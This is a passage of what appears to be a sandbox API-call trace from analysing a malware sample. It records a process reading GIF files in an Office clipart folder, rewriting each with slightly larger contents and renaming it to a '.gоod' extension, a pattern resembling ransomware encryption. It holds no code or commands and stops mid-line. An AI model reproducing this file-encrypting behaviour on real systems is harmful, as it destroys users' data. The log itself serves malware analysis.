[0143.318] GetFileType (hFile=0x7fc) returned 0x1 [0143.318] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x996 [0143.318] ReadFile (in: hFile=0x7fc, lpBuffer=0x3660738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3660738*, lpNumberOfBytesRead=0x1f9edc08*=0x996, lpOverlapped=0x0) returned 1 [0143.321] CloseHandle (hObject=0x7fc) returned 1 [0143.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0143.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0143.544] GetFileType (hFile=0x7fc) returned 0x1 [0143.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0143.544] GetFileType (hFile=0x7fc) returned 0x1 [0143.544] WriteFile (in: hFile=0x7fc, lpBuffer=0x3568020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3568020*, lpNumberOfBytesWritten=0x1f9edb18*=0x9a0, lpOverlapped=0x0) returned 1 [0143.545] CloseHandle (hObject=0x7fc) returned 1 [0143.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", lpFilePart=0x0) returned 0x51 [0143.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0143.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0143.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c64c06, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9a0)) returned 1 [0143.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0143.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif.gоod")) returned 1 [0143.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", lpFilePart=0x0) returned 0x51 [0143.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0143.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif"), fInfoLevelId=0x0, lpFileInformation=0x35692f8 | out: lpFileInformation=0x35692f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110c9494, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110c9494, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x90c)) returned 1 [0143.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0143.547] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", lpFilePart=0x0) returned 0x51 [0143.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0143.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0143.547] GetFileType (hFile=0x7fc) returned 0x1 [0143.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0143.547] GetFileType (hFile=0x7fc) returned 0x1 [0143.547] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x90c [0143.547] ReadFile (in: hFile=0x7fc, lpBuffer=0x3569ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3569ee0*, lpNumberOfBytesRead=0x1f9edc08*=0x90c, lpOverlapped=0x0) returned 1 [0143.549] CloseHandle (hObject=0x7fc) returned 1 [0143.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0143.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0143.724] GetFileType (hFile=0x7fc) returned 0x1 [0143.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0143.725] GetFileType (hFile=0x7fc) returned 0x1 [0143.725] WriteFile (in: hFile=0x7fc, lpBuffer=0x35e7158*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x35e7158*, lpNumberOfBytesWritten=0x1f9edb18*=0x910, lpOverlapped=0x0) returned 1 [0143.726] CloseHandle (hObject=0x7fc) returned 1 [0143.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", lpFilePart=0x0) returned 0x51 [0143.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0143.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0143.726] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110c9494, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110c9494, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e0806e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x910)) returned 1 [0143.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0143.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif.gоod")) returned 1 [0143.727] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", lpFilePart=0x0) returned 0x51 [0143.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0143.727] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif"), fInfoLevelId=0x0, lpFileInformation=0x35e8430 | out: lpFileInformation=0x35e8430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x581)) returned 1 [0143.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0143.727] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", lpFilePart=0x0) returned 0x51 [0143.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0143.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0143.727] GetFileType (hFile=0x7fc) returned 0x1 [0143.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0143.727] GetFileType (hFile=0x7fc) returned 0x1 [0143.727] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x581 [0143.728] ReadFile (in: hFile=0x7fc, lpBuffer=0x35e8c90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x35e8c90*, lpNumberOfBytesRead=0x1f9edc08*=0x581, lpOverlapped=0x0) returned 1 [0143.917] CloseHandle (hObject=0x7fc) returned 1 [0143.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0143.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0143.944] GetFileType (hFile=0x7fc) returned 0x1 [0143.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0143.944] GetFileType (hFile=0x7fc) returned 0x1 [0143.944] WriteFile (in: hFile=0x7fc, lpBuffer=0x3633ad8*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3633ad8*, lpNumberOfBytesWritten=0x1f9edb18*=0x590, lpOverlapped=0x0) returned 1 [0143.945] CloseHandle (hObject=0x7fc) returned 1 [0143.945] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", lpFilePart=0x0) returned 0x51 [0143.945] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0143.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0143.945] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5201df48, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x590)) returned 1 [0143.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0143.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif.gоod")) returned 1 [0143.946] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", lpFilePart=0x0) returned 0x51 [0143.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0143.947] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3634db0 | out: lpFileInformation=0x3634db0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15fa)) returned 1 [0143.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0143.947] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", lpFilePart=0x0) returned 0x51 [0143.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0143.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0143.947] GetFileType (hFile=0x7fc) returned 0x1 [0143.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0143.947] GetFileType (hFile=0x7fc) returned 0x1 [0143.947] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0143.947] ReadFile (in: hFile=0x7fc, lpBuffer=0x36351f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x36351f8*, lpNumberOfBytesRead=0x1f9edca8*=0x5fa, lpOverlapped=0x0) returned 1 [0144.338] CloseHandle (hObject=0x7fc) returned 1 [0144.933] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", lpFilePart=0x0) returned 0x51 [0144.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0144.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0144.966] GetFileType (hFile=0x7fc) returned 0x1 [0144.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0144.966] GetFileType (hFile=0x7fc) returned 0x1 [0144.966] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x15fa [0144.966] WriteFile (in: hFile=0x7fc, lpBuffer=0x36ec270*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x36ec270*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0144.966] CloseHandle (hObject=0x7fc) returned 1 [0144.966] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", lpFilePart=0x0) returned 0x51 [0144.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0144.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0144.967] GetFileType (hFile=0x7fc) returned 0x1 [0144.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0144.967] GetFileType (hFile=0x7fc) returned 0x1 [0144.967] ReadFile (in: hFile=0x7fc, lpBuffer=0x36ee548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x36ee548*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0144.994] CloseHandle (hObject=0x7fc) returned 1 [0144.994] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", lpFilePart=0x0) returned 0x51 [0144.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0144.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0144.995] GetFileType (hFile=0x7fc) returned 0x1 [0144.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0144.995] GetFileType (hFile=0x7fc) returned 0x1 [0144.995] WriteFile (in: hFile=0x7fc, lpBuffer=0x36ed288*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x36ed288*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0144.995] CloseHandle (hObject=0x7fc) returned 1 [0144.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", lpFilePart=0x0) returned 0x51 [0144.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0144.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0144.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52a4002f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160a)) returned 1 [0144.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0144.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif.gоod")) returned 1 [0144.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", lpFilePart=0x0) returned 0x51 [0144.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0144.996] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif"), fInfoLevelId=0x0, lpFileInformation=0x376aec0 | out: lpFileInformation=0x376aec0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1113bba3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef)) returned 1 [0144.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0144.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", lpFilePart=0x0) returned 0x51 [0144.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0144.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0144.996] GetFileType (hFile=0x7fc) returned 0x1 [0144.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0144.996] GetFileType (hFile=0x7fc) returned 0x1 [0144.996] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x3ef [0144.996] ReadFile (in: hFile=0x7fc, lpBuffer=0x376b588, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x376b588*, lpNumberOfBytesRead=0x1f9edc08*=0x3ef, lpOverlapped=0x0) returned 1 [0144.998] CloseHandle (hObject=0x7fc) returned 1 [0145.204] GetFullPathNameW (in: lpFileName="C:\\Program 